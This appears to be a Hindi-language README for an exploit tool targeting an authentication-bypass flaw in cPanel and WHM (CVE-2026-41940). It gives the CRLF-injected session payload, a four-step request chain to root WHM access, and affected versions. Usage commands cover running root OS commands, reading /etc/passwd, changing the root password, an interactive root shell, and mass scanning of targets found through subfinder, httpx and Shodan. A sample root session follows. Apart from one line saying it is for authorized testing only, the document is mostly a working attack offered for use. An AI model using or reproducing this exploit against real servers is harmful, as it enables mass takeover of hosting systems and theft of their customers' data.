
CVE-2026-41940 — cPanel और WHM में सेशन-फ़ाइल CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
CVE-2026-41940 — cPanel और WHM में सत्र-फ़ाइल CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
4-चरणीय शोषण श्रृंखला · इंटरैक्टिव WHM शेल · बल्क स्कैनर · पाइपलाइन-तैयार · केवल stdlib
cPanelSniper CVE-2026-41940 के लिए एक केंद्रित शोषण फ्रेमवर्क है, जो cPanel और WHM को प्रभावित करने वाली एक गंभीर प्रमाणीकरण बायपास भेद्यता है। यह भेद्यता बिना किसी वैध क्रेडेंशियल के, Authorization HTTP हेडर के माध्यम से सत्र फ़ाइल में CRLF अनुक्रम इंजेक्ट करके अनप्रमाणित दूरस्थ हमलावरों को रूट-स्तरीय WHM एक्सेस प्राप्त करने की अनुमति देती है।
केवल अधिकृत पैठ परीक्षण और बग बाउंटी कार्यक्रमों के लिए।
मूल कारण Session.pm में है: saveSession() फ़ंक्शन सत्र फ़ाइल को डिस्क पर लिखने के बाद filter_sessiondata() को कॉल करता है। इसका मतलब है कि Authorization: Basic हेडर मान में एम्बेडेड CRLF वर्ण सत्र फ़ाइल में शब्दशः लिखे जाते हैं, जिससे सैनिटाइज़ेशन से पहले हमलावर-नियंत्रित फ़ील्ड इंजेक्ट हो जाते हैं।
सामान्य प्रवाह:
POST /login/ → filter_sessiondata() → सत्र लिखें → प्रमाणीकरण जाँच
कमजोर प्रवाह:
POST /login/ → सत्र लिखें (CRLF पेलोड इंजेक्ट) → filter_sessiondata() → प्रमाणीकरण जाँच ज़हरीली फ़ाइल पढ़ती है
Authorization: Basic मान डिकोड होकर यह बनता है:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
ये फ़ील्ड सीधे डिस्क पर सत्र फ़ाइल में लिखे जाते हैं। जब वापस पढ़ा जाता है, तो cPanel सत्र को पूर्ण रूप से प्रमाणित रूट सत्र के रूप में मानता है।
┌─────────────────────────────────────────────────────────────┐
│ चरण 0 — कैनोनिकल होस्टनाम खोज │
│ GET /openid_connect/cpanelid → 307 → वास्तविक होस्टनाम │
├─────────────────────────────────────────────────────────────┤
│ चरण 1 — प्री-ऑथ सत्र निर्माण │
│ POST /login/?login_only=1 (गलत क्रेडेंशियल) │
│ ← 401 + whostmgrsession कुकी │
├─────────────────────────────────────────────────────────────┤
│ चरण 2 — CRLF इंजेक्शन │
│ GET / + Cookie: session + Authorization: Basic <पेलोड> │
│ cpsrvd सत्र फ़ाइल में CRLF फ़ील्ड लिखता है │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ चरण 3 — प्रसार (do_token_denied गैजेट) │
│ GET /scripts2/listaccts │
│ raw→cache फ्लश ट्रिगर करता है — इंजेक्टेड फ़ील्ड सक्रिय हो जाते हैं │
│ ← 401 टोकन अस्वीकृत (अपेक्षित) │
├─────────────────────────────────────────────────────────────┤
│ चरण 4 — WHM रूट एक्सेस सत्यापित करें │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
| ब्रांच | कमजोर | पैच किया गया |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
कोई pip इंस्टॉल आवश्यक नहीं है। केवल शुद्ध Python 3.8+ stdlib।
# एकल लक्ष्य — केवल स्कैन
python3 cPanelSniper.py -u https://target.com:2087
# एकल लक्ष्य — बायपास के बाद इंटरैक्टिव शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# फ़ाइल से बल्क स्कैन
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# फोर्स स्कैन (cPanel डिटेक्शन छोड़ें)
python3 cPanelSniper.py -u https://target.com:2087 --force
# सर्वर पर सभी cPanel खाते सूचीबद्ध करें
python3 cPanelSniper.py -u https://target.com:2087 --action list
# OS कमांड निष्पादित करें
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# सर्वर जानकारी प्राप्त करें (होस्टनाम, लोड, डिस्क, MySQL होस्ट)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# cPanel संस्करण प्राप्त करें
python3 cPanelSniper.py -u https://target.com:2087 --action version
# रूट पासवर्ड बदलें
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# इंटरैक्टिव WHM शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# स्कोप सूची से
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Shodan परिणाम
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# stdin पाइप
echo "https://target.com:2087" | python3 cPanelSniper.py
# एकाधिक स्रोत संयुक्त
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
सफल बायपास के बाद, --action shell फ़्लैग एक इंटरैक्टिव प्रॉम्प्ट में प्रवेश करता है:
════════════════════════════════════════════════════════════
WHM शेल — target.com
संस्करण: CVE-2026-41940 | प्रमाणीकरण: CRLF बायपास
कमांड के लिए 'help' टाइप करें, बाहर निकलने के लिए 'exit'
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel खाते] target.com:2087 (47 उपयोगकर्ता)
user01 डोमेन: example.com ईमेल: [email protected]
user02 डोमेन: shop.com ईमेल: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[सर्वर जानकारी] https://target.com:2087
होस्टनाम: srv01.target.com
लोड: 0.72 / 0.66 / 0.69
संस्करण: 11.130.0.6